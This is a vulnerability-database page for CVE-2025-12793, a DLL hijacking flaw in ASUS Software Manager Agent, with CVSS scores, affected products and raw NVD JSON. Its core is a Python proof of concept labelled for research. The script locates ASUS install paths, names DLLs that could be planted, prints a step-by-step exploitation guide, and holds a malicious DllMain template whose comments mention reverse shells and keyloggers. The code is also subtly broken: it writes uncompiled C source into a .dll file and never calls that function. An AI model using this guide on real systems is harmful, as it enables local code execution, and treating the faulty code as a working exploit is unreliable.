Security Vulnerability Report
中文
CVE-2025-12793 CVSS 7.8 HIGH

CVE-2025-12793

Published: 2026-01-06 03:15:41
Last Modified: 2026-01-28 14:50:43
Source: 54bf65a7-a193-42d2-b1ba-8e150d3c35e1

Description

An uncontrolled DLL loading path vulnerability exists in AsusSoftwareManagerAgent. A local attacker may influence the application to load a DLL from an attacker-controlled location, potentially resulting in arbitrary code execution. Refer to the ' Security Update for MyASUS' section on the ASUS Security Advisory for more information.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:asus:myasus:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:asus:myasus:*:*:*:*:*:*:arm64:* - VULNERABLE
ASUS Software Manager Agent (具体版本待官方披露)
受影响的ASUS软件版本请参阅ASUS官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12793 PoC - ASUS Software Manager Agent DLL Hijacking This PoC demonstrates DLL hijacking vulnerability in AsusSoftwareManagerAgent """ import os import ctypes import sys from pathlib import Path def create_malicious_dll(dll_path): """ Generate malicious DLL that will be loaded by vulnerable application For educational purposes only - demonstrates DLL loading mechanism """ dll_content = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Vulnerable DLL loaded - attacker code execution point MessageBox(NULL, "CVE-2025-12793: Malicious DLL Loaded!\\nASUS Software Manager Agent DLL Hijacking", "Security Alert", MB_ICONWARNING); // Example: Execute payload (reverse shell, keylogger, etc.) // system("calc.exe"); // For demonstration } return TRUE; } ''' with open(dll_path, 'w') as f: f.write(dll_content) return True def check_vulnerability(): """ Check if ASUS Software Manager Agent is installed and vulnerable """ common_paths = [ r"C:\Program Files\ASUS\Software Manager\AsusSoftwareManagerAgent.exe", r"C:\Program Files (x86)\ASUS\Software Manager\AsusSoftwareManagerAgent.exe", r"C:\Program Files\ASUS\ASUS Software Manager\AsusSoftwareManagerAgent.exe", ] vulnerable_dlls = [ 'version.dll', 'urlmon.dll', 'winhttp.dll', 'shlwapi.dll', 'crypt32.dll', 'secur32.dll' ] print("[*] Checking for CVE-2025-12793 vulnerability...") print("[*] Searching for AsusSoftwareManagerAgent...") for path in common_paths: if os.path.exists(path): print(f"[+] Found: {path}") print(f"[!] System may be vulnerable to DLL hijacking") print(f"[*] Vulnerable DLL names that can be planted:") for dll in vulnerable_dlls: print(f" - {dll}") return True print("[-] AsusSoftwareManagerAgent not found") return False def exploit(): """ Exploitation steps for demonstration """ print("=" * 60) print("CVE-2025-12793 Exploitation Guide") print("=" * 60) print(""" 1. Plant malicious DLL in application directory or accessible path 2. Common vulnerable DLLs: version.dll, urlmon.dll, winhttp.dll 3. Wait for user to launch AsusSoftwareManagerAgent or trigger related action 4. Malicious DLL is loaded and attacker code executes 5. Attacker gains code execution with application's privileges Example attack scenario: - Attacker places 'version.dll' in C:\\Program Files\\ASUS\\Software Manager\\ - When application starts, it loads version.dll from current directory - Malicious code in DLL executes with high privileges """) if __name__ == "__main__": check_vulnerability() exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12793", "sourceIdentifier": "54bf65a7-a193-42d2-b1ba-8e150d3c35e1", "published": "2026-01-06T03:15:41.120", "lastModified": "2026-01-28T14:50:43.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An uncontrolled DLL loading path vulnerability exists in AsusSoftwareManagerAgent. A local attacker may influence the application to load a DLL from an attacker-controlled location, potentially resulting in arbitrary code execution.\nRefer to the '\n\nSecurity Update for MyASUS' section on the ASUS Security Advisory for more information."}, {"lang": "es", "value": "Existe una vulnerabilidad de ruta de carga de DLL no controlada en AsusSoftwareManagerAgent. Un atacante local puede influir en la aplicación para que cargue una DLL desde una ubicación controlada por el atacante, lo que podría resultar en ejecución de código arbitrario.\nConsulte la sección 'Security Update for MyASUS' en el Aviso de Seguridad de ASUS para más información."}], "metrics": {"cvssMetricV40": [{"source": "54bf65a7-a193-42d2-b1ba-8e150d3c35e1", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "54bf65a7-a193-42d2-b1ba-8e150d3c35e1", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:asus:myasus:*:*:*:*:*:*:x64:*", "versionEndExcluding": "4.0.52.0", "matchCriteriaId": "B272677A-2AF9-4ECE-92E6-393C1227AF78"}, {"vulnerable": true, "criteria": "cpe:2.3:a:asus:myasus:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "4.2.50.0", "matchCriteriaId": "1C177A8B-ED83-42D0-914E-90CF89FBA787"}]}]}], "references": [{"url": "https://www.asus.com/security-advisory", "source": "54bf65a7-a193-42d2-b1ba-8e150d3c35e1", "tags": ["Vendor Advisory"]}, {"url": "https://www.asus.com/security-advisory", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}